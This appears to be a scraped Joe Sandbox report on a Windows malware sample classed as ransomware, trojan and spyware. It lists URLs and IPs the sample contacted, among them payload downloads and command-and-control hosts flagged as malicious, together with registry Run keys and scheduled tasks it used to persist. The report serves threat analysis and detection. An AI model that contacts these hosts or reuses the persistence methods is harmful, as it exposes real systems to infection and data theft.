                                                                                                                        https://account.live.com/msangcwamsvchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC8129000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310933432.0000018DC8157000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://habrafa.com/files/1/build3.exexEE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          • Avira URL Cloud: malware
                                                                                                                          		unknown
                                                                                                                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            http://crl.ver)svchost.exe, 00000026.00000002.4426661126.000002A52D800000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            		low
                                                                                                                            http://passport.net/tbsvchost.exe, 00000009.00000002.4441225361.0000018DC88A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            • URL Reputation: safe
                                                                                                                            		unknown
                                                                                                                            https://api.2ip.ua/geo.jsonhEE23.exe, 00000019.00000002.2626825416.000000000081D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://certs.godaddy.com/repository/078E8.exe.2.drfalse
                                                                                                                                  		high
                                                                                                                                  https://api.2ip.ua/geo.jsonjEE23.exe, 00000012.00000002.4436429533.0000000000928000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://www.ecosia.org/newtab/E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      http://habrafa.com/files/1/build3.exerun2b-EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                      		unknown
                                                                                                                                      http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequestedE5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://api.2ip.ua/geo.jsonaEE23.exe, 00000019.00000002.2626825416.00000000007D9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          https://www.cloudflare.com/5xx-error-landing84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2722966576.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000002.2768598570.0000000001951000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		high
                                                                                                                                            http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnegoE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              		high
                                                                                                                                              http://crl.godaddy.com/gdroot-g2.crl0F78E8.exe.2.drfalse
                                                                                                                                                		high
                                                                                                                                                http://purl.oeny4E5F3.exe, 0000001E.00000003.2960944683.0000000006D41000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3123956633.0000000006D50000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                		unknown
                                                                                                                                                http://schemas.xmlsoap.org/ws/2004/08/addressingE5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                  		high
                                                                                                                                                  http://Passport.NET/STS&lt;/ds:KeyName&gt;&lt;/ds:KeyInfo&gt;svchost.exe, 00000009.00000002.4441005756.0000018DC8860000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                  		unknown
                                                                                                                                                  https://88.198.108.242:9000/H1build2.exe, 00000015.00000002.2624617563.0000000000825000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                                  		unknown
                                                                                                                                                  http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issuesvchost.exe, 00000009.00000002.4440710403.0000018DC8813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2757569541.0000018DC816D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4439435141.0000018DC816E000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponseE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                      		high
                                                                                                                                                      https://secretionsuitcasenioise.shop/api184F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                      		unknown
                                                                                                                                                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dnsE5F3.exe, 0000001E.00000002.3081910354.00000000026C1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        http://tempuri.org/RestAPI/TreeObject2ResponseDE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                                        		unknown
                                                                                                                                                        https://word.office.comonexplorer.exe, 00000002.00000000.2024953260.00000000099C0000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        		unknown
                                                                                                                                                        http://schemas.xmlsoap.org/ws/2005/02/trust/RenewE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                          		high
                                                                                                                                                          http://habrafa.com/test1/get.php?pid=903E7F2EE23.exe, 00000011.00000002.4435699034.00000000007F1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                          		unknown
                                                                                                                                                          http://ocsp.sectigo.com0BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmp, 78E8.exe.2.drfalse
                                                                                                                                                          • URL Reputation: safe
                                                                                                                                                          		unknown
                                                                                                                                                          https://gemcreedarticulateod.shop/984F5.exe, 0000001D.00000003.2693720803.0000000001980000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                          		unknown
                                                                                                                                                          http://habrafa.com/files/1/build3.exe$runEE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.000000000097B000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4439698845.00000000030B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                          		unknown
                                                                                                                                                          http://certificates.godaddy.com/repository/078E8.exe.2.drfalse
                                                                                                                                                            		high
                                                                                                                                                            http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionIDE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                              		high
                                                                                                                                                              https://api.2ip.ua/&EE23.exe, 00000019.00000002.2626825416.000000000081D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                		high
                                                                                                                                                                https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfsvchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310558025.0000018DC8110000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  		high
                                                                                                                                                                  http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCTE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                    		high
                                                                                                                                                                    https://claimconcessionrebe.shop/:84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                    		unknown
                                                                                                                                                                    https://t.me/newagevpa3shttps://steamcommunity.com/profiles/76561199631487327update.zipMozilla/4.0build2.exe, 00000014.00000002.2503033317.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2623374454.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                                                                                                                      		high
                                                                                                                                                                      http://schemas.xmlsoap.org/ws/2006/02/addressingidentityE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                        		high
                                                                                                                                                                        https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsvchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                          		high
                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKeyE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            http://www.amazon.com/EE23.exe, 00000012.00000003.2719467639.00000000031B0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              http://schemas.microexplorer.exe, 00000002.00000000.2023447130.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2022907903.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2023421052.0000000008870000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                                                                                                                              • URL Reputation: safe
                                                                                                                                                                              		unknown
                                                                                                                                                                              http://schemas.xmlsoap.org/ws/2004/10/wsat/RollbackE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                http://www.twitter.com/EE23.exe, 00000012.00000003.2721585720.00000000031B0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://login.microsoftonline.com/MSARST2.srfsvchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://dc.services.visualstudio.com/v2/trackBA7B.exe, 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, BA7B.exe, 00000025.00000002.2873232255.000000000809B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      http://Passport.NET/STSsvchost.exe, 00000009.00000002.4437576029.0000018DC7902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2408646351.0000018DC8182000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                      • Avira URL Cloud: safe
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      http://www.openssl.org/support/faq.htmlEE23.exe, 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCTE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          http://tempuri.org/DE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          http://schemas.xmlsoap.org/ws/2004/06/addressingexE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/ErrorEE23.exe, 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EE23.exe, 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, EE23.exe, 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                                                                            		low
                                                                                                                                                                                            https://api.2ip.ua/geo.json~EE23.exe, 00000019.00000002.2626825416.00000000007D9000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              http://schemas.xmlsoap.org/ws/2004/04/security/trust/NonceE5F3.exe, 0000001E.00000002.3081910354.000000000272D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		high

                                                                                                                                                                                                World Map of Contacted IPs

                                                                                                                                                                                                • No. of IPs < 25%
                                                                                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                                                                                • 75% < No. of IPs

                                                                                                                                                                                                Public IPs

                                                                                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                104.21.83.220
                                                                                                                                                                                                		liabilityarrangemenyit.shopUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                172.67.152.52
                                                                                                                                                                                                		gemcreedarticulateod.shopUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                193.233.132.32
                                                                                                                                                                                                		unknownRussian Federation
                                                                                                                                                                                                		2895FREE-NET-ASFREEnetEUfalse
                                                                                                                                                                                                149.154.167.99
                                                                                                                                                                                                		t.meUnited Kingdom
                                                                                                                                                                                                		62041TELEGRAMRUfalse
                                                                                                                                                                                                104.21.16.152
                                                                                                                                                                                                		secretionsuitcasenioise.shopUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                144.76.136.153
                                                                                                                                                                                                		transfer.shGermany
                                                                                                                                                                                                		24940HETZNER-ASDEfalse
                                                                                                                                                                                                172.67.139.220
                                                                                                                                                                                                		api.2ip.uaUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                154.7.253.53
                                                                                                                                                                                                		receitasdepascoa.comUnited States
                                                                                                                                                                                                		174COGENT-174UStrue
                                                                                                                                                                                                210.182.29.70
                                                                                                                                                                                                		habrafa.comKorea Republic of
                                                                                                                                                                                                		3786LGDACOMLGDACOMCorporationKRtrue
                                                                                                                                                                                                211.119.84.111
                                                                                                                                                                                                		unknownKorea Republic of
                                                                                                                                                                                                		3786LGDACOMLGDACOMCorporationKRfalse
                                                                                                                                                                                                196.188.169.138
                                                                                                                                                                                                		brusuax.comEthiopia
                                                                                                                                                                                                		24757EthioNet-ASETtrue
                                                                                                                                                                                                172.67.199.120
                                                                                                                                                                                                		claimconcessionrebe.shopUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                172.67.169.89
                                                                                                                                                                                                		yip.suUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                88.198.108.242
                                                                                                                                                                                                		unknownGermany
                                                                                                                                                                                                		24940HETZNER-ASDEfalse
                                                                                                                                                                                                104.21.21.16
                                                                                                                                                                                                		tmpfiles.orgUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                104.21.25.142
                                                                                                                                                                                                		mbappeportal.shopUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                46.175.144.56
                                                                                                                                                                                                		mahta-netwotk.clickUkraine
                                                                                                                                                                                                		56394ASLAGIDKOM-NETUAtrue
                                                                                                                                                                                                104.21.94.2
                                                                                                                                                                                                		resergvearyinitiani.shopUnited States
                                                                                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                185.12.126.182
                                                                                                                                                                                                		galandskiyher5.comRussian Federation
                                                                                                                                                                                                		50214QWARTARUtrue
                                                                                                                                                                                                62.109.150.87
                                                                                                                                                                                                		speedmouse.czCzech Republic
                                                                                                                                                                                                		29134IGNUM-ASCzechRepublicCZtrue
                                                                                                                                                                                                103.23.232.80
                                                                                                                                                                                                		m2reg.ulm.ac.idIndonesia
                                                                                                                                                                                                		58475UNLAM-AS-IDUniversitasLambungMangkuratIDtrue

                                                                                                                                                                                                Private

                                                                                                                                                                                                IP
                                                                                                                                                                                                127.0.0.1

                                                                                                                                                                                                General Information

                                                                                                                                                                                                Joe Sandbox version:40.0.0 Tourmaline
                                                                                                                                                                                                Analysis ID:1389422
                                                                                                                                                                                                Start date and time:2024-02-08 20:16:06 +01:00
                                                                                                                                                                                                Joe Sandbox product:CloudBasic
                                                                                                                                                                                                Overall analysis duration:0h 14m 30s
                                                                                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                                                                                Report type:full
                                                                                                                                                                                                Cookbook file name:default.jbs
                                                                                                                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                Number of analysed new started processes analysed:44
                                                                                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                                                                                Number of existing processes analysed:0
                                                                                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                                                                                Number of injected processes analysed:2
                                                                                                                                                                                                Technologies:
                                                                                                                                                                                                • HCA enabled
                                                                                                                                                                                                • EGA enabled
                                                                                                                                                                                                • AMSI enabled
                                                                                                                                                                                                Analysis Mode:default
                                                                                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                                                                                Sample name:KMPrEVaSfH.exe
                                                                                                                                                                                                renamed because original name is a hash value
                                                                                                                                                                                                Original Sample Name:69d761d941e1a7a4721e267e91167b3a.exe
                                                                                                                                                                                                Detection:MAL
                                                                                                                                                                                                Classification:mal100.rans.troj.adwa.spyw.expl.evad.winEXE@84/332@25/22
                                                                                                                                                                                                EGA Information:
                                                                                                                                                                                                • Successful, ratio: 100%
                                                                                                                                                                                                HCA Information:
                                                                                                                                                                                                • Successful, ratio: 95%
                                                                                                                                                                                                • Number of executed functions: 76
                                                                                                                                                                                                • Number of non-executed functions: 160
                                                                                                                                                                                                Cookbook Comments:
                                                                                                                                                                                                • Found application associated with file extension: .exe
                                                                                                                                                                                                • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                                Warnings

                                                                                                                                                                                                • Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe
                                                                                                                                                                                                • Excluded IPs from analysis (whitelisted): 40.126.29.10, 20.190.157.11, 40.126.29.14, 40.126.29.8, 40.126.29.13, 40.126.29.7, 40.126.29.6, 40.126.29.15, 13.89.179.12, 20.42.65.92, 23.220.189.216, 52.182.143.212, 20.189.173.21
                                                                                                                                                                                                • Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, couriercare.in, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, exitassumebangpastcone.shop, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
                                                                                                                                                                                                • HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                • HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                • Report size exceeded maximum capacity and may have missing network information.
                                                                                                                                                                                                • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                                                                • VT rate limit hit for: KMPrEVaSfH.exe

                                                                                                                                                                                                Simulations

                                                                                                                                                                                                Behavior and APIs

                                                                                                                                                                                                TimeTypeDescription
                                                                                                                                                                                                20:17:01API Interceptor205808x Sleep call for process: explorer.exe modified
                                                                                                                                                                                                20:17:14Task SchedulerRun new task: Firefox Default Browser Agent 31C9C0D5F5389DA3 path: C:\Users\user\AppData\Roaming\ubrawdb
                                                                                                                                                                                                20:17:34Task SchedulerRun new task: Time Trigger Task path: C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe s>--Task
                                                                                                                                                                                                20:17:36AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                                                                                                                                                                                                20:17:37API Interceptor2x Sleep call for process: WerFault.exe modified
                                                                                                                                                                                                20:17:45AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\149a1800-3150-4d5d-a89e-b5c51b72b1f9\EE23.exe" --AutoStart
                                                                                                                                                                                                20:17:50API Interceptor1x Sleep call for process: build2.exe modified
                                                                                                                                                                                                20:18:01API Interceptor1x Sleep call for process: EE23.exe modified
                                                                                                                                                                                                20:18:01API Interceptor3x Sleep call for process: 84F5.exe modified
                                                                                                                                                                                                20:18:12API Interceptor3x Sleep call for process: svchost.exe modified
                                                                                                                                                                                                20:18:19AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\svchost.exe"
                                                                                                                                                                                                20:18:28AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run svchost "C:\Users\user\AppData\Roaming\svchost.exe"
                                                                                                                                                                                                20:18:30API Interceptor37x Sleep call for process: E5F3.exe modified
                                                                                                                                                                                                20:18:38AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe

                                                                                                                                                                                                Joe Sandbox View / Context

                                                                                                                                                                                                IPs

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                104.21.83.220SecuriteInfo.com.Win32.DropperX-gen.27408.9076.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                  fnKtfdi0P0.exeGet hashmaliciousLummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                    ccQGH1mKws.exeGet hashmaliciousGlupteba, SmokeLoader, StealcBrowse
                                                                                                                                                                                                      IIBXMzS0zN.exeGet hashmaliciousGlupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                        31w7wI4yJl.exeGet hashmaliciousGlupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                                                                                                                                                          L2OyId5r9o.exeGet hashmaliciousLummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                            Ud2oyUzB4d.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                              38QTCIw4QJ.exeGet hashmaliciousLummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                x32g2473zx.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                  ZJUNJ0W3mU.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, Stealc, XmrigBrowse
                                                                                                                                                                                                                    172.67.152.52http://frameboxxindore.comGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                    • frameboxxindore.com/
                                                                                                                                                                                                                    WPxoHlbMVs.exeGet hashmaliciousRedLine SmokeLoader Socelars VidarBrowse
                                                                                                                                                                                                                    • f.uaalgee33.com/uue/jhuuee.exe
                                                                                                                                                                                                                    193.233.132.32x5DUhRx3Eq.exeGet hashmaliciousLummaC, Babuk, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoaderBrowse
                                                                                                                                                                                                                      38QTCIw4QJ.exeGet hashmaliciousLummaC, Babuk, Djvu, PureLog Stealer, RedLine, SmokeLoader, zgRATBrowse
                                                                                                                                                                                                                        lENGBij84L.exeGet hashmaliciousLummaC, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoaderBrowse
                                                                                                                                                                                                                          78kWh7yzYx.exeGet hashmaliciousPureLog Stealer, RedLine, zgRATBrowse
                                                                                                                                                                                                                            file.exeGet hashmaliciousRedLineBrowse
                                                                                                                                                                                                                              149.154.167.99http://telegram.dogGet hashmaliciousUnknownBrowse
